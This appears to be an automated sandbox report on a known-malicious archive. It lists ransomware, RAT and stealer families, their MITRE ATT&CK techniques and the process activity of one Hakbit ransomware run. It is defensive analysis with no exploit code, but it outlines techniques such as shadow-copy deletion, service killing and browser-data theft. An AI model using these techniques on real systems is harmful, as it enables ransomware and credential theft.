Analysis Overview

score

10^/10

SHA256

1423053f90855d33858db47f354055b660943104c1c18f848c9b7b415979dc5f

Threat Level: Known bad

The file Downloads.rar was found to be: Known bad.

Malicious Activity Summary

hakbit evasion execution ransomware spyware stealer revengerat trojan zloader botnet persistence smokeloader backdoor asyncrat babylonrat darkcomet warzonerat 2020nov1 infostealer rat hawkeye collection keylogger discovery upx 07/04 agenttesla danabot dharma formbook gozi qakbot raccoon 86920224 spx129 1590734339 i0qi w9z agilenet banker cryptone defense_evasion impact packer rezer0 rm3 main 26.02.2020 xdsddd victime 25/03 samay 09/04 insert-coin system yt hacked hack zeppelin njrat modiloader canadaloads nerino app

Babylon RAT

Qakbot/Qbot

Raccoon Stealer V1 payload

Hakbit

Darkcomet

Modiloader family

Danabot

Formbook

Disables service(s)

Zeppelin family

Revengerat family

Njrat family

AgentTesla

Raccoon

ModiLoader Second Stage

Dharma

Gozi

WarzoneRat, AveMaria

Zloader, Terdot, DELoader, ZeusSphinx

Zloader family

RevengeRat Executable

SmokeLoader

AsyncRat

HawkEye

Detects Zeppelin payload

RevengeRAT

NirSoft WebBrowserPassView

Nirsoft

Looks for VirtualBox Guest Additions in registry

CryptOne packer

NirSoft MailPassView

Async RAT payload

RevengeRat Executable

ReZer0 packer

Deletes shadow copies

AgentTesla payload

Warzone RAT payload

Formbook payload

Renames multiple (75) files with added filename extension

Modifies Windows Firewall

Blocklisted process makes network request

Looks for VMWare Tools registry key

Modifies file permissions

Checks QEMU agent file

Drops startup file

Uses the VBS compiler for execution

Checks BIOS information in registry

Loads dropped DLL

Deletes itself

Checks computer location settings

Obfuscated with Agile.Net obfuscator

Executes dropped EXE

UPX packed file

Reads user/profile data of web browsers

Maps connected drives based on registry

Looks up external IP address via web service

Adds Run key to start application

Drops desktop.ini file(s)

Accesses Microsoft Outlook accounts

Suspicious use of SetThreadContext

AutoIT Executable

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in System32 directory

Launches sc.exe

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

Program crash

Enumerates physical storage devices

Unsigned PE

NSIS installer

Delays execution with timeout.exe

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of FindShellTrayWindow

Opens file in notepad (likely ransom note)

Interacts with shadow copies

Runs ping.exe

Suspicious use of SendNotifyMessage

Suspicious behavior: CmdExeWriteProcessMemorySpam

Checks SCSI registry key(s)

Uses Volume Shadow Copy service COM API

Gathers network information

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Modifies system certificate store

Suspicious behavior: EnumeratesProcesses

Modifies registry key

Scheduled Task/Job: Scheduled Task

Suspicious use of AdjustPrivilegeToken

Kills process with taskkill

Suspicious behavior: MapViewOfSection

MITRE ATT&CK Matrix V13

Command and Scripting Interpreter

Windows Management Instrumentation

T1047

Persistence

TA0003

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Disable or Modify System Firewall

T1562.004

File and Directory Permissions Modification

Virtualization/Sandbox Evasion

T1497

Direct Volume Access

T1006

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

TA0006

Unsecured Credentials

System Information Discovery

T1082

Remote System Discovery

T1018

Peripheral Device Discovery

T1120

Virtualization/Sandbox Evasion

Data from Local System

Inhibit System Recovery

Analysis: static1

Detonation Overview

Reported

2024-07-01 18:04

Signatures

Detects Zeppelin payload

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

ModiLoader Second Stage

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Modiloader family

modiloader

Njrat family

njrat

RevengeRat Executable

stealer

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Revengerat family

revengerat

Zeppelin family

zeppelin

Zloader family

zloader

CryptOne packer

cryptone packer

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

AutoIT Executable

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Unsigned PE

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

NSIS installer

installer

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Analysis: behavioral24

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:14

Platform

win10v2004-20240611-en

Max time kernel

130s

Max time network

157s

Command Line

"C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"

Signatures

Disables service(s)

evasion execution

Hakbit

ransomware hakbit

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Drops startup file

Description	Indicator	Process	Target
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Reads user/profile data of web browsers

spyware stealer

Launches sc.exe

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SYSTEM32\sc.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\sc.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\sc.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\sc.exe	N/A

Enumerates physical storage devices

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
N/A	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A

Opens file in notepad (likely ransom note)

ransomware

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\notepad.exe	N/A

Runs ping.exe

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\PING.EXE	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SYSTEM32\taskkill.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Suspicious use of SendNotifyMessage

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2428 wrote to memory of 1980	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\sc.exe
PID 2428 wrote to memory of 1980	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\sc.exe
PID 2428 wrote to memory of 2864	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\cmd.exe
PID 2428 wrote to memory of 2864	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\cmd.exe
PID 2428 wrote to memory of 4316	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\sc.exe
PID 2428 wrote to memory of 4316	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\sc.exe
PID 2428 wrote to memory of 4928	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\sc.exe
PID 2428 wrote to memory of 4928	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\sc.exe
PID 2428 wrote to memory of 636	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\sc.exe
PID 2428 wrote to memory of 636	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\sc.exe
PID 2428 wrote to memory of 4352	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4352	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2820	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2820	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2868	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
